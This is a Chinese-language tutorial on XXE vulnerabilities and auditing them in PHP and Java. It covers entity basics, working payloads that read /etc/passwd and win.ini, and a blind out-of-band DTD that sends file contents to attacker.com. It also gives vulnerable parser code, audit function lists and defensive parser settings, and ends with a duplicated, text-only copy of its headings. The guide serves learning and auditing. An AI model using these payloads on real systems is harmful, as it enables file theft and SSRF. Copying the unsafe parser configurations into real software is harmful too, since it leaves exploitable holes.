PHP与JAVA之XXE漏洞详解与审计
字数 1184 2025-08-25 22:58:40

XXE漏洞详解与审计指南

1. XXE漏洞简介

XXE(XML外部实体注入,XML External Entity)是一种安全漏洞,当应用程序解析XML输入时,如果允许引用外部实体,攻击者可以构造恶意内容导致:

  • 读取任意文件
  • 发起SSRF攻击(服务端请求伪造)
  • 端口探测
  • DoS拒绝服务攻击
  • 执行系统命令
  • 攻击内部网站

Java中的XXE支持sun.net.www.protocol包中的所有协议:http、https、file、ftp、mailto、jar、netdoc。

2. XML基础概念

2.1 XML与DTD

  • XML(可扩展标记语言):用于传输和存储数据的标记语言
  • DTD(文档类型定义):定义XML文档的合法构建模块,使用合法元素定义文档结构

2.2 实体(ENTITY)类型

  1. 字符实体:类似HTML实体编码,如&a;(十进制)或&a;(十六进制)
  2. 命名实体(内部实体)
    <!ENTITY 实体名称 "实体的值">
    
  3. 外部实体
    • 外部普通实体:<!ENTITY 实体名称 SYSTEM "URI/URL">
    • 外部参数实体:<!ENTITY % 实体名称 SYSTEM "URI">

2.3 DTD引用方式

  1. 内部声明
    <!DOCTYPE 根元素 [元素声明]>
    
  2. 外部引用
    <!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
    
  3. 引用公共DTD
    <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
    

3. XXE利用方式

3.1 有回显的XXE攻击

  1. 直接引用外部实体:

    <!DOCTYPE foo [
      <!ELEMENT foo ANY>
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <foo>&xxe;</foo>
    
  2. 通过外部DTD文件:

    <!DOCTYPE foo [
      <!ELEMENT foo ANY>
      <!ENTITY % xxe SYSTEM "http://xxx/evil.dtd">
      %xxe;
    ]>
    <foo>&evil;</foo>
    

    evil.dtd内容:

    <!ENTITY evil SYSTEM "file:///c:/windows/win.ini">
    

3.2 无回显的XXE(Blind XXE/OOB-XXE)

使用外带数据通道提取数据:

<!DOCTYPE updateProfile[
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
  %send;
]>

evil.dtd内容(注意%需要进行实体编码):

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

3.3 绕过限制的技术

当读取非XML文件时,可以使用CDATA和参数实体组合:

<!DOCTYPE data [
  <!ENTITY % paramEntity "<!ENTITY genEntity 'bar'>">
  %paramEntity;
]>
<data>&genEntity;</data>

4. XXE审计函数

4.1 Java审计关键函数

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
org.xml.sax.SAXParseExceptionpublicId

4.2 PHP审计关键函数

SimpleXMLElement
simplexml_load_string

5. XXE漏洞代码示例

5.1 Java示例

  1. DOM解析

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(request.getInputStream());
    
  2. DOM4J解析

    SAXReader saxReader = new SAXReader();
    Document document = saxReader.read(request.getInputStream());
    
  3. JDOM2解析

    SAXBuilder builder = new SAXBuilder();
    Document document = builder.build(request.getInputStream());
    
  4. SAX解析

    SAXParserFactory factory = SAXParserFactory.newInstance();
    SAXParser saxparser = factory.newSAXParser();
    saxparser.parse(request.getInputStream(), handler);
    

5.2 PHP示例

<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

6. XXE防御措施

6.1 PHP防御

libxml_disable_entity_loader(true);

6.2 Java防御

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 方法1
dbf.setExpandEntityReferences(false);
// 方法2
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 方法3
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

6.3 Python防御

from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

7. 高级利用技巧

  1. 使用netdoc协议:当file、ftp、gopher协议被过滤时,可以使用netdoc协议列目录
  2. 使用Burp Suite测试:利用Burp插件进行XXE测试
  3. 工具利用:使用XXEinjector等工具自动化测试

8. 实际审计案例

  1. DocumentHelper.parseText

    Document document = DocumentHelper.parseText(xml);
    
  2. AxisServlet配置

    <servlet-mapping>
      <servlet-name>AxisServlet</servlet-name>
      <url-pattern>/servlet/AxisServlet</url-pattern>
    </servlet-mapping>
    

9. 参考资源

  1. https://paper.tuisec.win/detail/77e971804021874
  2. https://www.cnblogs.com/blacksunny/p/8005053.html
  3. https://michaelwayneliu.github.io/2018/08/28/XXE攻击那些事/
XXE漏洞详解与审计指南 1. XXE漏洞简介 XXE(XML外部实体注入,XML External Entity)是一种安全漏洞,当应用程序解析XML输入时,如果允许引用外部实体,攻击者可以构造恶意内容导致: 读取任意文件 发起SSRF攻击(服务端请求伪造) 端口探测 DoS拒绝服务攻击 执行系统命令 攻击内部网站 Java中的XXE支持 sun.net.www.protocol 包中的所有协议:http、https、file、ftp、mailto、jar、netdoc。 2. XML基础概念 2.1 XML与DTD XML (可扩展标记语言):用于传输和存储数据的标记语言 DTD (文档类型定义):定义XML文档的合法构建模块,使用合法元素定义文档结构 2.2 实体(ENTITY)类型 字符实体 :类似HTML实体编码,如 &a; (十进制)或 &a; (十六进制) 命名实体(内部实体) : 外部实体 : 外部普通实体: <!ENTITY 实体名称 SYSTEM "URI/URL"> 外部参数实体: <!ENTITY % 实体名称 SYSTEM "URI"> 2.3 DTD引用方式 内部声明 : 外部引用 : 引用公共DTD : 3. XXE利用方式 3.1 有回显的XXE攻击 直接引用外部实体: 通过外部DTD文件: evil.dtd内容: 3.2 无回显的XXE(Blind XXE/OOB-XXE) 使用外带数据通道提取数据: evil.dtd内容(注意%需要进行实体编码): 3.3 绕过限制的技术 当读取非XML文件时,可以使用CDATA和参数实体组合: 4. XXE审计函数 4.1 Java审计关键函数 4.2 PHP审计关键函数 5. XXE漏洞代码示例 5.1 Java示例 DOM解析 : DOM4J解析 : JDOM2解析 : SAX解析 : 5.2 PHP示例 6. XXE防御措施 6.1 PHP防御 6.2 Java防御 6.3 Python防御 7. 高级利用技巧 使用netdoc协议 :当file、ftp、gopher协议被过滤时,可以使用netdoc协议列目录 使用Burp Suite测试 :利用Burp插件进行XXE测试 工具利用 :使用XXEinjector等工具自动化测试 8. 实际审计案例 DocumentHelper.parseText : AxisServlet配置 : 9. 参考资源 https://paper.tuisec.win/detail/77e971804021874 https://www.cnblogs.com/blacksunny/p/8005053.html https://michaelwayneliu.github.io/2018/08/28/XXE攻击那些事/